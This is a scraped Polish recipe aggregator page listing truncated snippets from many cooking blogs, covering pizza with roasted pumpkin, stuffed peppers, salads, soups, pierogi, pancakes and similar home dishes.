Domowa pizza z pieczoną dynią, rozmarynem, fetą oraz świeżą rukolą. 205

ostro. Babcia gotowała ją z goździkami, octem...pyszności. Ja dodaję ją do ciastek, pesto, zup, a tym razem swoje miejsce znalazła na pizzy :) Pizza nam się utarła tylko z sosem pomidorowym a tu taka pyszność z pieczoną dynią. Dynię wcześniej piekę z rozmarynem, zapach unoszący się po domu .....bezcenny.  SKŁADNIKI : ciasto   3 szklanki mąki pszennej  1 szklanka

Basia w kuchni
Papryka faszerowana kurczakiem i mozzarellą 242

Smaczne zapiekane papryczki nadziane pysznościami. Wszystkie składniki wiążą rozpuszczone sery, dzięki temu farsz nie jest taki suchy i papryczki można zajdać same bez żadnego sosu. składniki: 2-3 papryki, zależy od wielkości ja dokładnie zużyłam 2,5 300 g piersi z kurczaka 2 kulki mozzarelli 100 g żółtego sera 250 g pomidorów sól prowansalska olej do smażenia Pierś kurczaka pokroić

Monia miesza i gotuje
Ziemniaczano - grzybowe krokiety z sosem pieczarkowym 183

rozpocznie więc proponuje Wam tym razem krokiety z grzybów suszonych. Są bardzo aromatyczne i znakomite jako samodzielne danie lub do jakiegoś mięska, zachęcam do spróbowania. Ziemniaczano - grzybowe krokiety z sosem pieczarkowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Małże w pomidorach z makaronem soba 191

muszle się otworzą. Nie otwarte małże wyrzucić, są nieświeże i można takimi się zatruć. Makaron soba przygotować według przepisu na opakowaniu.  Małże podawać z makaronem soba, polanym sosem pomidorowym po ugotowaniu małży

Kuchcik gotuje
Przecier pomidorowy z kawałkami pomidorów 232

resztę blendujemy. Nie przeszkadzają mi pestki  więc nie przecieram nic przez sito. Zblendowane pomidory gotujemy na małym ogniu, mieszając. U mnie nie trwa to długo. Konsystencja taka jak sos i wystarczy. Dodaje sól, cukier- mieszam. Można sobie posmakować i dodać np,  więcej cukru lub mniej soli ( kwestia gustu).  Do takiej konsystencji dodajemy pomidory , które zostawiliśmy w całości

W kuchennym oknie Ewy
ORZEŹWIAJĄCA SAŁATKA Z ARBUZA, Z RUKOLĄ, FETĄ I CEBULĄ 164

talerze wyłożyć rukolę, ułożyć na niej kawałki arbuza (bez skóry), wyłożyć plastry cebuli, rozkruszyć ser feta, oprószyć świeżo mielonym pieprzem i posypać pokrojoną natką pietruszki (nie trzeba). Całość polać sosem przygotowanym z cytryny i oliwy z oliwek. Na wierzchu ułożyć pozostałe owoce (gdy dodajemy), u mnie maliny i truskawki (pokrojone na mniejsze kawałki). Przyozdobić świeżymi listkami mięty. Podawać schłodzone. Smacznego

Smaczne Zdrowe
Kurczak pieczony z ziemniakami 310

Pyszne danie obiadowe przy którym nie ma wiele pracy. Składniki: udka z kurczaka, skrzydełka, podudzia (ilość według potrzeb) marynata do kurczaka: 2 łyżki oliwy, łyżka sosu sojowego, ząbek czosnku przeciśnięty przez praskę, papryka wędzona, pieprz kolorowy, sól, bazylia ziemniaki do ziemniaków: (2 łyżki oliwy, tymianek, rozmaryn) Przygotowanie Kurczaka myjemy, osuszamy, dzielimy na porcje. Składniki na marynatę łączymy ze sobą

e-PrzepisyKulinarne
Sałatka z brokuła i rzodkiewki 237

naturalnym, dodać przeciśnięty przez praskę czosnek. Doprawić solą i pieprzem. Rzodkiewkę pokroić w plasterki.Cebulę - w piórka. Do dużej miski wrzucić brokuła (różyczki), rzodkiewkę, cebulę oraz rodzynki/żurawinę. Zalać sosem czosnkowym. Wymieszać. Odstawić do lodówki na min 1-2h - do "przegryzienia". Przed podaniem posypać podprażonymi orzeszkami pinii (ew.pestkami słonecznika czy dyni). Smacznego

CookYourself
Stir-fry z makaronem ryżowym i krewetkami 163

porcje Marynata i krewetki: 300 g dużych krewetek 1 papryczka chili 2 ząbki czosnku 3 cm kłącza imbiru 4 cebule dymki sok z 1/2 limonku 2 łyżki sosu sojowego 1 łyżka cukru trzcinowego 1 łyżeczka gochugaru (lub płatków chili) Makaron: 200 g wstążek z makaronu ryżowego 100 g młodego zielonego groszku (po obraniu) 1/2 natki pietruszki 1 pęczek rzodkiewki

Food Square
Sałatka z buraczków, wędzonego łososia i sera gorgonzola 208

mundurkach, choć pieczone są zdecydowanie smaczniejsze.] Poszczególne składniki sałtaki ułożyć na półmisku, dodać dressing, posypać orzeszkami i oprószyć świeżo mielonym czarnym pieprzem. * przepis na dressing pochodzi z książki „Sosy – 100 najlepszych przepisów” S. Faller, M. Cremer

Trzeci talerz
Zapiekanka z kabaczka i mięsa mielonego w sosie pomidorowym 136

Uwielbiam kabaczki i co roku staram się przygotować jakieś nowe danie z ich udziałem. Tym razem zapiekanka w raczej klasycznym połączeniu: mięsa mielonego, kabaczka i sosu pomidorowego z małą ilością dobrze dobranych przypraw. Na efekt trochę trzeba czekać, ale naprawdę warto

Milion Smaków
Rosół z kaczki 197

Rosół uwielbiam o każdej porze roku. Niezależnie czy jest upał czy  mróz. Gotuję go jako podstawę do innych zup i sosów. Właściwie to do większości  potraw. Dzisiaj ugotowałam pyszny rosołek z kaczki. Jeśli nie chcecie, żeby rosół był zbyt tłusty możecie usunąć z kaczki skórę. Składniki 1 korpus z kaczki 3 l wody 4 średnie marchewki 1 mały

O kuchni z uczuciem
Zapiekanka z cykorii 144

Cykoria ma bardzo gorzki smak – także jest to danie dla osób lubiących jej smak. Ta cykoria ma wyjątkowy,inny smak dzięki nietypowemu sosowi w którym jest zapiekana. Ja uwielbiam Pamiętajcie, że cykoria bardzo nie lubi światła – w dobrych sklepach spożywczych leży do nas tyłem – tacką. W lodówce również przetrzymujemy ją tak, aby chronić przed światłem. składniki

Sezonowy Garnek
Zapiekanka ziemniaczana z kiełbasą 151

smaku, tłuszcz do formy. Wykonanie: Ziemniaki obrać, ugotować, ostudzić, pokroić w talarki i układać w naczyniu żaroodpornym, przekładając pokrojoną kiełbasą. Posypać zieleniną i przyprawami do smaku. Następnie zalać sosem przygotowanym z mleka rozmieszanego z jajkami, obłożyć żółtym serem. Wstawić do nagrzanego piekarnika i zapiec na złoty kolor

Tradycyjna Kuchnia
Barszcz biały z grzybami mun 184

popularnego barszczu białego :) Składniki : około 1,5 l bulionu warzywnego zakwas żurkowy z butelki biała kiełbasa 3 ugotowane jajka na twardo 3 ziemniaki, marchew, 2 ząbki czosnku 2 łyżki sosu sojowo-grzybowego Tao Tao około 20 dag grzybów mun, 10 pieczarek kwaśna śmietana, 2 łyżki startego chrzanu Przygotowanie : Do gorącego bulionu wrzucamy namoczone i pokrojone grzyby mun oraz pokrojone

Proste Potrawy
Kaczka w pomarańczach 188

plasterki pomarańcze. Mieszać , aby pomarańcza będzie cała pokryta karmelem. Pierś wyciągnąć z piekarnika i poczekać, aby chwilę odpoczęła., a następnie kroić w skośne plastry. Ułożyć na półmisku i polać sosem. kaczka w pomarańczach

O kuchni z uczuciem
Karkówka w piwie 230

Karkówka w piwie Delikatniejszej pieczonej karkówki jeszcze nie jadłam. Dodanie piwa do karkówki spowoduje, że mięso bardzo skruszeje, stanie się niesamowicie delikatne, rozpływające się w ustach. A dodając kurki, sos, nabierze aksamitnego, grzybowego posmaku. Całość jest bardzo wyborna, świetnie nadaje się na świąteczny stół, bądź wykwintny obiad niedzielny. Składniki: karczek (u mnie prawie 2 kg) 3 duże cebule

na moim stole...
Sernik waniliowy z musem czekoladowym i likierem kawowym 200

śmietany kremówki 300 g gorzkiej czekolady 80 ml likieru kawowego Bailey's 3 łyżki cukru pudru Śmietankę doprowadzić do wrzenia. Dodać czekoladę i zdjąć z palnika. Wymieszać na gładki sos, gdy czekolada się rozpuści. Schłodzić w lodówce, aż masa zgęstnieje. Dodać likier, cukier i zmiksować. Całość ubić końcówkami do ubijania białek - masa zwiększy objętość i zjaśnieje. Gotowy mus wyłożyć

Chocolate Muffin Blog
Bażant duszony z pieczarkami 174

trzeba dać czas - niech spokojnie dusi się w garnku nawet przez 2 godziny aż będziecie mieć pewność, że jest idealnie miękkie. Do podania polecam jęczmienną kaszą, którą można polać sosem z duszenia mięsa

Milion Smaków
Miodowo- musztardowe udka z kurczaka 224

Podaję z pieczonymi ziemniakami. Do przygotowania marynaty użyłam Musztardy Kieleckiej Grillowej, którą otrzymałam do testowania od firmy WSP SPOŁEM .  Musztarda to idealny dodatek do różnego rodzaju marynat, mięs, sosów czy potraw z grilla. Ma idealny, lekko ostry smak. Musztarda nadała mojej potrawie wspaniałego smaku. Będę po nią często sięgać, ponieważ jest przepyszna. Serdecznie zachęcam do zakupu produktów firmy

Tradycyjna kuchnia Kasi
Spaghetti bolognese 163

odparuje. Po tym czasie dodajemy bulion, wrzucamy puszkę pomidorów, koncentrat pomidorowy i ketchup. Gotujemy na lekkim ogniu przez dość długi czas. Cały płyn musi odparować a sos musi być gładki i gęsty ( nawet 1,5 godziny). Na końcu doprawić jeszcze solą i pieprzem, dodać zioła i pozostały czosnek przeciśnięty przez praskę. Podawać z makaronem spaghetti ugotowanym

cucinare
Leczo 151

podsmażamy do jej zeszklenia i złocistego koloru. Teraz papryka. Jest najtwardsza z warzyw, więc przysmażamy ją najdłużej. Następnie cukinia. Na samym końcu pomidory, które szybko wytworzą sos. Gotujemy do chwili aż warzywa będą miękkie, ale nierozgotowane. Na końcu doprawiamy solą i pieprzem i dodajemy świeże pokrojone zioła

cucinare
Domowe burgery 196

razem użyłam mielonego mięsa wołowo-wieprzowego jednak jeśli macie czas i możliwość lepsza byłyba z mielona wołowina. Przy następnej okazji wpis uzupłnię o lepsze zdjęcia oraz przepisy na sosy, które tym razem zastąpiłam ketchupem:) Potraktujmy więc ten wpis jako początek domowej przygody z burgerami :) Inspiracją był dla mnie przepis ze strony Smaczna Pyza Składniki na 12 burger

cucinare
Lunch w słoiku – sałatka z ryżem 210

piekarnika ma swoje plusy, bo pozwala mi na urozmaicenie przepisów sałatkowych na blogu. Ta będzie należeć chyba do moich ulubionych, a to za sprawą ryżu. Połączyłam go z sosem pomidorowym, doprawionym świeżą bazylią. Przepyszna przekąska, którą można zabrać se sobą w drogę. Dodatkowe składniki można modyfikować według własnego smaku. Postawiłam

Pink Envelope
Keczup domowy 195

sitko. Należy to robić partiami. Z przetartej i odciśniętej masy zostanie Wam bardzo gęsty przecier. Ponieważ szkoda tak wyrzucić odciśniętą gęstą część, ja ją zostawiam, pasteryzuję i wykorzystuję do sosów pomidorowych albo past. Wracając do przecieru. Znów gotujemy go na niewielkim ogniu. Czas zależy od konsystencji, jaką chcecie uzyskać. Może to potrwać (w zależności także od odmiany pomidorów

Pociąg Do Kuchni
Sałatka caprese 260

Caprese – rodzaj sałatki pochodzącej z regionu Kampania w południowych Włoszech. Przyrządza ją się z pokrojonych w plastry pomidorów oraz mozzarelli przełożonych na przemian, polanych sosem z oliwy z oliwe posypanych grubo zmielonym pieprzem i udekorowanych liśćmi bazylii. Ma ona odzwierciedlać włoską flagę. Sałatka caprese.   Składniki: - 250g mozzarelli - 2 pomidory - 1 ząbek czosnku - świeże liście bazylii - oliwa z oliwek extra

mojewypiekiinietylko
czekoladowy torcik z malinami 260

gorącej wody wykonanie: Maliny mieszamy z cukrem, podgrzewamy na ogniu do rozpuszczenia się cukru. Dodajemy sok z cytryny, rozmieszaną mąkę ziemniaczaną i doprowadzamy do wrzenia. Rozpuszczoną żelatynę łączymy z sosem malinowy, dokładnie mieszamy i odstawiamy w chłodne miejsce do zgęstnienia. składniki na krem malinowy: frużelina malinowa 500 g serka mascarpone dodatkowo, opcjonalnie: nalewka malinowa do nasączenia ciasta wykonanie: Serek miksujemy

Domowy Smak Jedzenia
PIKANTNY GULASZ Z UDEK KURCZAKA 1397

dodajemy pokrojoną w drobną kostkę czerwoną paprykę. Podlewamy niewielką ilością wody (lub bulionu jeśli posiadamy), przykrywamy i dusimy całość ok. 30 minut. Kiedy mięso jest już miękkie zaciągamy lekko sos łyżką mąki rozrobioną w niewielkiej ilości zimnej wody. Całość posypujemy posiekanym koperkiem

Walijskie Pichcenie
Śliwkowe ciasto z rumowym cappuccino 164

posypane cukrem pudrem. Na blogu jest kilka śliwkowych inspiracji, a dzisiaj powstała kolejna: Deser bezowy z porzeczkami i śliwką Knedle ze śliwkami Śliwkowe ciasto z chrupiącymi płatkami migdałów Śliwkowy sos  Śliwkowe ciasto z rumowym cappuccino Składniki:  300 g dużych, słodkich śliwek  4 jajka  łyżeczka proszku do pieczenia  4 łyżki masła + masło do wysmarowania formy

Moja smaczna kuchnia
Pikantne pappardelle z papryką i cukinią 221

może tez być świeża papryczka) parmezan do podania   Przygotowanie: Makaron ugotować al dente w osolonej wodzie zgodnie z przepisem na opakowaniu. W czasie, kiedy makaron się gotuje robimy sos. Na oliwę wrzucamy pokrojoną w półplasterki cebulę, kiedy się zeszkli dodajemy pokrojone w kostki papryki oraz poszatkowaną w półplasterki cukinię. Smażymy wszystko kilka minut, należy kontrolować, aby nie przegotować warzyw

Kulinarne Inspiracje
Tarta z warzywami 176

Tarta z warzywami jest łatwa do zrobienia, bardzo syta i pyszna. Gotowanie danie najlepiej podawać z sosem pomidorowym. Polecam na przepyszne śniadanie Jajecznica zapiekana doda nam siły i pobudzi nasz organizm do działania. Składniki: Ciasto: 300 g. mąki pszennej 150 g. masła 1 jajko 1/2 łyżeczki proszku do pieczenia 3 łyżeczki zimnej wody 1/2 łyżeczki soli Nadzienie: 1/2 pętka kiełbasy

Smaczne Potrawy
Wegańskie pomidory faszerowane ryżem 184

blasze, na której zamierzamy zapiec pomidory. Przygotować pomidory: umyć je i odkroić "kapelusze" od strony piętki. Łyżeczką wydrążyć miąższ z pestkami. Można go użyć do zupy lub do sosu pomidorowego. Szczypiorek pokroić na drobno. Rozdrobnić też chili. Usunąć z ryżu szałwię, dodać natomiast szczypiorek i chili. Wszystko wymieszać. Napełniać pomidory przygotowaną masą ryżową. Dopychać łyżeczką. Pomidory można przykryć "kapeluszami

Weekendy w domu i ogrodzie
Pęczak i pulpety 188

lepimy małe pulpeciki i smażymy na oleju z obu stron.  Dolewamy wody i dusimy pod przykryciem aż powstanie pyszny sos. Podajemy z kwaszoną kapustą lub ulubion

prawdziwe jedzenie
Lekka sałatka z kalafiorem 414

minut. Kalafior musi być lekko chrupiący. Kalafiora odcedzić i ostudzić. Majonez, jogurt oraz przeciśnięty przez praskę czosnek połączyć, doprawić do smaku solą i pieprzem. Zimny kalafior wymieszać z sosem oraz posiekanym koperkiem. Najlepiej schłodzić przez co najmniej godzinę w lodówce. Smacznego

na moim stole...
Tagliatelle alla puttanesca 251

nasienne i kroimy w większe kawałki. Na rozgrzanej oliwie podsmażamy czosnek, sardele   i peperoncini. Następnie dodajemy oliwki, kapary i pomidory. Smażymy ok. 10 min do lekkiego zgęstnienia. Do sosu dodajemy odcedzony makaron i posiekaną natkę. Wszystko dokładnie mieszamy. Podajemy od razu. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Krewetki z czosnkiem i pietruszką 243

ulubionych dań.   Krewetki takie idealnie pasują do świeżej, chrupiącej bagietki. Równie dobrze smakują z makaronem tagliatelle.   Jednak polecam do nich bagietkę. Można ją maczać w maślano- czosnkowym sosie. Pycha!!!   Już mi ślinka cieknie na samą myśl o nich. Zapraszam!!! Składniki: 0,5 kg krewetek Tygrysich, 5- 6 ząbków czosnku, pęczek natki pietruszki, 0,5 kostki masła

Passion of Cooking
Turecka pasta paprykowa - szybka wersja 234

słodkich i chilli jakich użyjecie. Polecam Wam tę pastę na kanapki, ma wspaniały smak, nieco zbliżony do ajwaru . Można jej użyć także jako marynaty do ryby, czy mięsa, jako sosu do posmarowania pide czy pizzy lub jako dipu do świeżych warzyw czy paluszków chlebowych.  Turecka pasta paprykowa Biber salçası na podstawie przepisu z książki "Istanbul" Rebecca Seal Składniki

Chilli Czosnek i Oliwa
Kapary z nasturcji po polsku 186

skorzystać z tego dobrodziejstwa . Przepis jest prosty , a efekt znakomity , smak jak sklepowe i do tego zdrowsze , bo bez zbędnych chemicznych dodatków . Kaparów może nie lubię , ale solę w sosie kaparowym uwielbiam .. " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Do dzieła " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Składniki na 3 słoiczki po koncentracie : 3 garście

Ogrodnik w podróży
Pierogi ze szpinakiem! 209

kółeczka nadziewamy i zgniatamy boki dookoła. Pierogi gotujemy w osolonej wodzie, przez 3 minuty we wrzątku (na małym ogniu). Wyjmujemy na talerze.  Smażymy na maśle. Ja podałam z sosem czosnkowym na bazie jogurtu greckiego i ricotty. Smacznego

SMYKWKUCHNI
Hummus mój ulubiony – mocno orzechowy 204

paćkę, bardzo puszysty i kremowy, z delikatnie tylko wyczuwalnymi osłonkami z ziaren cieciorki. Z czym go jeść? Najprościej – jako dip do warzyw. Maczamy swoje ulubione kąski w sosie i zjadamy na bieżąco. Do posmarowania pieczywa, zamiast masła. Do posmarowania tortilli, jako część nadzienia. Do nachos zrobionych z tortilli. Z chlebkiem naan. Obowiązkowy do falafeli (smażonych klopsików z ciecierzycy

Karo in the Kitchen
Bruschetta pomidorowa prosty przepis 197

czasie opiec w tosterze, piekarniku lub na suchej patelni pokrojone pieczywo. Można je skropić delikatnie oliwą. Na grzankach ułożyć pomidory z bazylią. Polecam polać je delikatnie gęstym sosem balsamicznym. Jeśli lubisz dodaj oliwki :) Smacznego ! ! ! Pomidory, czosnek i bazylia to samo zdrowie ! Przepis bierze udział w akcjach

Jemy Pijemy
Soczyste burrito 257

sera (gouda, pomorski, cheddar) 1 dojrzałe awokado zielona pietruszka lub kolendra, albo obie- drobno posiekane, czubata łyżka sok z cytryn lub limonka do skropienia przyprawa do szaszłyków Kotanyi słodki sos chilli Vifon do podania

Karo in the Kitchen
Kluski śląskie idealne 228

plastikowego pojemnika z 2-3 łyżkami oleju, kilka razy poruszając obtaczam każdą kluskę w tłuszczu. Nie trzeba mówić, że takie kluski są idealnym dodatkiem do gulaszu lub grzybowego sosu. Jeśli chcecie je odgrzać na drugi dzień, zróbcie to w mikrofali, w garnku na parze albo na patelni do której wlejecie trochę wody zamiast oleju. Świeżo ugotowane, podane tylko ze skwarkami

Karo in the Kitchen
Ogórki małosolne- wiosna w słoiku! 253

młode i dokładnie je myjemy, kawałek korzenia obieramy cienko ze skórki i kroimy w słupki. Dobrze zamrozić 2-3 duże korzenie chrzanu, żeby móc je użyć do ogórków lub sosów wtedy, gdy ciężko je kupić. Młody czosnek będzie świetny do tych ogórków. Możemy ząbki zostawić w skórce, która również ma wiele aromatu i tylko naciąć je lub przeciąć wzdłuż

Karo in the Kitchen
Coleslaw- surówka z kapusty 150

kroimy drobno- tą wersję akurat wolę z wyczuwalnym, większymi kawałkami – młoda kapusta ma przyjemny delikatny smak i fajną fakturę. Czasami dorzucam do niej garść suszonej żurawiny wielkoowocowej. Wszystkie składniki sosu dokładnie wymieszajcie. Zalejcie posiekaną kapustę, marchewkę i cebulę, dokładnie pomieszajcie i odstawcie do lodówki przynajmniej na 3 godziny. To spora porcja, jeśli nie zjecie wszystkiego od razu, będzie dobra

Karo in the Kitchen
Pierogi z zieloną soczewicą. Ulubione ciasto na pierogi 253

grzybów nie wylewamy – jeśli nie macie akurat pomysłu jak go zużyć, zamroźcie go, np. w woreczkach na kostki lodu. Można go w takiej postaci dodawać jako smak do sosów mięsnych, zup (rewelacyjnie pasuje do kartoflanki, żuru czy grochówki!), zrobić z tym wywarem wytrawny czerwony barszcz czy czystą zupę grzybową. Ugotowane i ostudzone grzyby drobno siekamy. Obieramy marchew i pietruszkę, ścieramy

Karo in the Kitchen
Wegeburgery z zielonej soczewicy 227

powoli. A już odmrożone odpiec w piekarniku albo odsmażyć. Hamburgery zjedliśmy w klasycznej bułce z sezamem, z dodatkiem szparagów smażonych na maśle, świeżego pomidora, cieniutko pokrojoną czerwoną cebulką, majonezem, sosem BBQ, plastrami awokado i plasterkiem topionego żółtego sera. SKŁADNIKI 1,5szkl soczewicy zielonej ½ kostki bulionowej warzywnej 3 szklanki wody 2 czerwone cebule (120g) 1 łyżeczka suszonego cząbru 150g pieczarek

Karo in the Kitchen
Bulion drobiowy na pieczonych skrzydełkach. Kryształowe consomme 321

już są nie do użycia, ale bez kości możecie go sprezentować Waszemu psu lub kotu. Część bulionu możecie zjeść od razu, a część zamrozić. Zamrożone kostki będą ideale do sosów, zup, gulaszy i wszystkich potraw mięsnych, na jakie przyjdzie Wam ochota. Consomme to klarowna zupa, której bazę stanowi właśnie mocny wywar z mięsa bądź ryb i warzyw. W warunkach restauracyjnych

Karo in the Kitchen
Placki ziemniaczane bez tarcia – z blendera 562

piekarnika nastawionego na 120⁰C z termoobiegiem, żeby nie wystygły i nie zrobiły się gumowe do czasu aż będziemy je jeść. Uwielbiam je ze śmietaną i z cukrem. Z sosem ze świeżych podgrzybków – czysta poezja. Albo podane tak jak gryczane bliny – z bardzo gęstym jogurtem, świeżo posiekanym koprem i płatami wędzonego łososia. Albo nawet z kawiorem i cząstką cytryny. Pycha

Karo in the Kitchen
Ogórki kiszone – przepis niezawodny 169

młode i dokładnie je myjemy, kawałek korzenia obieramy cienko ze skórki i kroimy w słupki. Dobrze zamrozić 2-3 duże korzenie chrzanu, żeby móc je użyć do ogórków lub sosów wtedy, gdy ciężko je kupić. Młody czosnek będzie świetny do tych ogórków. Możemy ząbki zostawić w skórce, która również ma wiele aromatu i tylko naciąć je lub przeciąć wzdłuż

Karo in the Kitchen
Garden party w domu – zaczarowany ogród w sercu miasta 185

łatwo wziąć w rękę i naszykować sobie dokładnie taką porcję, na jaką ma się akurat ochotę. Coleslaw z młodej kapusty jest obowiązkowy do ‘ciągniętej wieprzowiny’. Tak samo jak śliwkowy sos BBQ , którego świeżo zrobiony słoik stanął na stole. Mini caprese to ciekawa wersja podania tradycyjnej włoskiej sałatki w formie zmniejszonej – mini kulek mozarelli i pomidorków czereśniowych. Chrupiąca sałatka z selera

Karo in the Kitchen
Naleśniki z ciasta parzonego – na maślance 293

wstawić je do lodówki a smażeniem zająć się nawet na drugi dzień, na przykład szykując naleśniki na śniadanie. Tym razem naleśniki zjedliśmy z kremem kasztanowym, polane słodką śmietanką i sosem karmelowym oraz ze świeżymi owocami. Tak, ten obiad to była czysta rozpusta! ;) W smażeniu pomogła mi patelnia do zadań specjalnych – przeznaczona do smażenia naleśników – bardzo niska, prawie bez rantu. Ciężka

Karo in the Kitchen
Pasta alla Norma – pozdrowienia ze słonecznej Sycylii! 239

pierwsze nie muszę obierać ich sama, co znacznie skraca czas przygotowania całości, po drugie – w puszce poza pomidorami zawsze jest dużo soku pomidorowego i pulpy, które w tym sosie nie zaszkodzą. Gotujemy całość na małym ogniu aż odparuje ¼ płynu, rozgniatamy całe pomidory na mniejsze kawałki, solimy i lekko pieprzymy, doprawiamy suszonym oregano. Do pomidorów wkładamy pokrojonego bakłażana. Podgrzewamy mocno. Mieszamy

Karo in the Kitchen
Węgierskie leczo z kabaczkiem – papryka w roli głównej 264

obsmażane na smalcu, wędzonej słoninie lub oleju słonecznikowym (podróż przez Węgry to była jazda przez pola pełne słoneczników). Pomidory dodawane są na koniec smażenia i mają stworzyć zagęszczający całość sos. Węgrzy bardzo chętnie dla zaostrzenia smaku używają swoich własnych ostrych odmian papryki (tak, zgadnijcie co przywiozłam jako souveniry znad Balatonu ) Co ciekawe, leczo jest uważane za tradycyjne jedzenie również

Karo in the Kitchen
Pancakes sernikowe – na jogurcie greckim 200

przyjemniejszej pobudki niż pyszne śniadanie. Te pancakes smakują podobnie jak sernik, a podane z sosem owocowym i świeżymi owocami są zdrowym, smacznym i sytym początkiem dnia, gwarantującym dobry humor. W mniejszej misce mieszamy suche składniki – mąkę z proszkiem do pieczenia i cukrem waniliowym.   Proszek do pieczenia to wodorowęglan sodu. Używany jest w kuchni jako spulchniacz, gdyż w połączeniu

Karo in the Kitchen
Wołowina duszona po włosku jak osso bucco, podana z gnocchi i cytrynową gremolatą 225

Lekkie i świeże warzywa. Delikatny, słono-słodko-kwaśny sos. Ziemniaczane kluseczki. I soczyście zielona, intensywnie pachnąca gremolata. Prawie jak osso bucco. Prawie, bo giczy cielęcej w sobotę nie dorwę, ale dorwałam porcję wołowiny. I gnocchi. Do dzieła! Mięso oczyszczamy z błonek i ścięgien, okrawamy z tłuszczu. Dzielimy na mniejsze kawałki, takie na jeden kęs. W dużym płaskim rondlu rozgrzewamy mocno

Karo in the Kitchen
Puszyste i delikatne pancakes z mleka i jogurtu 304

pancakes są niesamowicie miękkie, lekkie i puszyste. Polane jakimkolwiek syropem czy sosem, wchłaniają go szybko i równomiernie. Ja uwielbiam je podane z syropem z bzu i kwaskowatymi, świeżymi owocami. Porzeczki pasują idealnie. Mąkę przesiewamy z łyżeczką sody i proszkiem do pieczenia. Jajka ubijamy w osobnej misce z łyżką cukru, do czasu aż mocno się spienią. Wlewamy jogurt i mleko, miksujemy

Karo in the Kitchen
Cytrynowo-koperkowa zapiekanka z kurczakiem i makaronem orzo 216

dokładnie mieszamy, po czym wstawiamy do nagrzanego piekarnika. Pieczemy około 45-60 minut, aż makaron będzie miękki i nasiąknie płynem, a z bulionu i fety zrobi się pyszny, kremowy sos. Jeśli Wasze casserole zacznie się przypiekać, zmniejszcie temperaturę do 160⁰C i odrobinę wydłużcie czas pieczenia (jeśli to potrzebne). Gotowe danie posypujemy startym parmezanem i odstawiamy na 5 minut, żeby

Karo in the Kitchen
Kluski parowe pod jagodową chmurką 157

pory robię te kluski. Wcześniej sama ich nie robiłam. Składniki: Kluski: 500 g mąki 50 g drożdży 1 szklanka mleka 0,5 szklanki cukru 1 jajko 2 żółtka   Sos jagodowy: 200 ml śmietany 30 % 2 łyżki cukru 2 łyżki jagód (mogą być z kompotu) Sposób przygotowania: 1. Zrobić zaczyn z drożdży, 2 łyżek mąki, 2 łyżek cukru

Na Ciasteczkowych Papierach
Domowa pizza 202

pokroić w półplasterki. Pieczarki pokroić w plasterki i dusić aż woda wyparuje. Ogórki pokroić w małą kostkę. Ser zetrzeć na tarce o dużych oczkach. Ciasto posmarować ketchupem (lub ulubionym sosem pomidorowym), posypać żółtym serem, rozłożyć kiełbasę, pieczarki, ogórki i posypać przyprawami. Najważniejsze: piec w 250 st. C przez 10-12 min. Smacznego

Na Ciasteczkowych Papierach
Sałatka na krakersach 1337

drobnych oczkach, odłożyć do posypania na wierzch. Jajka ugotować na twardo, ostudzić. Białka zetrzeć na tarce o drobnych oczkach. Dodać 2 łyżki majonezu, dodać sól, wymieszać. Szprotki razem z sosem pomidorowym rozgnieść widelcem, dodać pieprz i paprykę w proszku, wymieszać. Szczypiorek drobno pokroić. Wykonanie: Na talerzu ułożyć obok siebie, w kształt kwadratu, 6 krakersów, wyłożyć masę serową, wyrównać. Przykryć następną

Na Ciasteczkowych Papierach
Warzywa zapiekane z kurczakiem i karkówką 264

wstawić do piekarnika nagrzanego do temperatury 190 stopni i piec przez około godzinę do przyrumienienia i miękkości mięsa. Do takiego dania nie potrzeba już wielu dodatków. Można ewentualnie podać sos ziołowy na bazie jogurtu naturalnego. Co myślicie o takich daniach jednogarnkowych

Codzienna kuchnia niecodzienna
Surówka z surowego kalafiora i brokułów 563

łyżka majonezu sól i pieprz cukier do smaku Kalafior i brokuł dzielimy na różyczki i kroimy w plasterki. Jogurt mieszamy z majonezem i posiekanym koperkiem, doprawiamy do smaku. Mieszamy sos koperkowy z warzywami. Smacznego

Atlas Smaków
Szaszłyki z kurczakiem i cukinią z pieczonymi ziemniaczkami 217

stopni na 30-40 minut ( w międzyczasie obracamy). Warzywa i kurczaka nadziewamy na patyczki od szaszłyków i posypujemy przyprawą do szaszłyków. Grillujemy z  każdej strony. Podajemy z sosami,sałatkami.  Tak jak lubicie. Smacznego

ChilliJemy
SPAGHETTI Z MIELONYM I SOSEM POMIDOROWYM 187

puszki- dusimy ok 10 minut, aż pomidory się rozpadną.Dodajemy posiekane oregano i bazylię,mieszamy. Makaron gotujemy w osolonej wodzie. Na talerze wykładamy porcję makaronu, na to wykładamy sos. Jeśli lubimy możemy też na wierzch starkować żółty

Z Majeczką w kuchni
"pulpeciki" z tofu wędzonego 248

mieszamy, aby nie przywarły do dna. Zmniejszamy ogień i gotujemy je ok. 2-3 minuty od momentu wypłynięcia na powierzchnię. Podajemy z dowolnymi dodatkami np. gotowanymi warzywami, kaszą, ziemniakami, sosem itp... Smacznego! :) Przepis dodaję do akcji

chili & sugar
Szaszłyki drobiowe z szalotką, pieczarkami i papryką 221

części). Na patyki szaszłykowe nabijać warzywa i piersi z kurczaka. Przygotowane szaszłyki polać odrobiną oliwy z oliwek. Po kilku godzinach upiec na rozgrzanym grillu. Podawać z ulubionym sosem

Ugotować
Langosz - węgierski placek 202

kuchni węgierskiej.-langosz. Jeśli próbowaliście to wiecie, że jest smaczny, jeśli jeszcze nie mieliście okazji spróbować to polecam. Podawać go można na kilka sposobów. Ze śmietaną i cukrem, z sosem czosnkowym, ze śmietaną i żółtym serem. Właśnie tak dzisiaj go przygotowałam. Uprzedzam, że jest bardzo sycący :) Składniki: Ciasto 1 szklanka letniego mleka 1 łyżeczka cukru 30 g świeżych drożdży

O kuchni z uczuciem
Pieczone ziemniaczki z nadzieniem 265

ziemniaków wkładamy tuńczyka, kukurydzę i pokrojoną w kostkę paprykę. Na koniec posypujemy startym serem i pieczemy do momentu, aż ziemniaki będą miękkie, a nadzienie się przypiecze. Podajemy z sosem zrobionym z jogurtu naturalnego i czosnku

Apetyt na więcej - jadłodajnia dla duszy i ciała
ALEJA 40 - pierwsze urodziny - 1 sierpnia 2015 246

